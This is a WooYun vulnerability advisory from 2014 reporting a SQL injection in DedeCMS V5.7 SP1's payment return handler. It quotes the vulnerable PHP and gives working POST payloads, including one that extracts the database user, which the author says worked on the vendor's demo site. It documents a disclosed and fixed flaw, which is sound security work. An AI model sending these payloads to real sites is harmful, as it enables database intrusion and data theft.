当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-063744

漏洞标题:DedeCMS-V5.7-UTF8-SP1 sql注入

相关厂商:Dedecms

漏洞作者: menmen519

提交时间:2014-06-06 17:31

修复时间:2014-09-04 17:32

公开时间:2014-09-04 17:32

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-06: 细节已通知厂商并且等待厂商处理中
2014-06-06: 厂商已经确认,细节仅向厂商公开
2014-06-09: 细节向第三方安全合作伙伴开放
2014-07-31: 细节向核心白帽子及相关领域专家公开
2014-08-10: 细节向普通白帽子公开
2014-08-20: 细节向实习白帽子公开
2014-09-04: 细节向公众公开

简要描述:

DedeCMS-V5.7-UTF8-SP1 代码审计sql注入

详细说明:

织梦在/include/payment/alipay.php(lines:125-161)

if (!empty($_POST))
{
foreach($_POST as $key => $data)
{
$_GET[$key] = $data;
}
}
/* 引入配置文件 */
$code = preg_replace( "#[^0-9a-z-]#i", "", $_GET['code'] );
//require_once DEDEDATA.'/payment/'.$code.'.php';
/* 取得订单号 */
$order_sn = trim($_GET['out_trade_no']);
/*判断订单类型*/
if(preg_match ("/S-P[0-9]+RN[0-9]/",$order_sn)) {
//检查支付金额是否相符
$row = $this->dsql->GetOne("SELECT * FROM #@__shops_orders WHERE oid = '{$order_sn}'");
if ($row['priceCount'] != $_GET['total_fee'])
{
return $msg = "支付失败,支付金额与商品总价不相符!";
}
$this->mid = $row['userid'];
$ordertype="goods";
}else if (preg_match ("/M[0-9]+T[0-9]+RN[0-9]/", $order_sn)){
$row = $this->dsql->GetOne("SELECT * FROM #@__member_operation WHERE buyid = '{$order_sn}'");
//获取订单信息,检查订单的有效性
if(!is_array($row)||$row['sta']==2) return $msg = "您的订单已经处理,请不要重复提交!";
elseif($row['money'] != $_GET['total_fee']) return $msg = "支付失败,支付金额与商品总价不相符!";
$ordertype = "member";
$product = $row['product'];
$pname= $row['pname'];
$pid=$row['pid'];
$this->mid = $row['mid'];
} else {
return $msg = "支付失败,您的订单号有问题!";
}


其中大家可以看到137行直接通过$_GET获取订单号: $order_sn = trim($_GET['out_trade_no']); 这里并没有做任何处理,但是奇怪的是上面有个require_once地方只要这里引入,就不会继续往下执行,只有两种可能性,要么是程序支付逻辑接口缺陷,要么就是需要其他外界条件,我们暂且注释掉这一行 //require_once DEDEDATA.'/payment/'.$code.'.php';
下来我们看文件/uploads/plus/carbuyaction.php(lines:334-337)

} else if ($dopost == 'return') { $write_list = array('alipay', 'bank', 'cod', 'yeepay'); if (in_array($code, $write_list)) { require_once DEDEINC.'/payment/'.$code.'.php'; $pay = new $code; $msg=$pay->respond(); ShowMsg($msg, "javascript:;", 0, 3000); exit(); } else { exit('Error:File Type Can\'t Recognized!'); } }


走到这里我们一下明白了整个支付逻辑,然后我们构造请求如下: url:http://localhost/DedeCMS-V5.7-UTF8-SP1/uploads/plus/carbuyaction.php post_data:dopost=return&code=alipay&out_trade_no=S-P0098RN0098' 后台监控到的sql语句为: SELECT * FROM dede_shops_orders WHERE oid = 'S-P0098RN0098'' LIMIT 0,1 看到此处大家都明白了,所以可能是自己没有办法去操作一整套支付流程,也可能是织梦支付接口缺陷导致 到这里位置,唯一可以肯定的就是,这一段代码肯定是有问题,而且是大问题,目前还在挖取,相关织梦已建站这一块

漏洞证明:

为了验证自己的猜想,我们上官方的演示站点:
http://v57.demo.dedecms.com/plus/carbuyaction.php
url:http://localhost/DedeCMS-V5.7-UTF8-SP1/uploads/plus/carbuyaction.php post_data:dopost=return&code=alipay&out_trade_no=M1T1RN1' or concat(char(@`'`),(SELECT user())))#
证实逻辑完全符合猜想:

15.png


16.png


修复方案:

过滤特殊字符

版权声明:转载请注明来源 menmen519@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:7

确认时间:2014-06-06 19:41

厂商回复:

已修复,感谢提交

最新状态:

暂无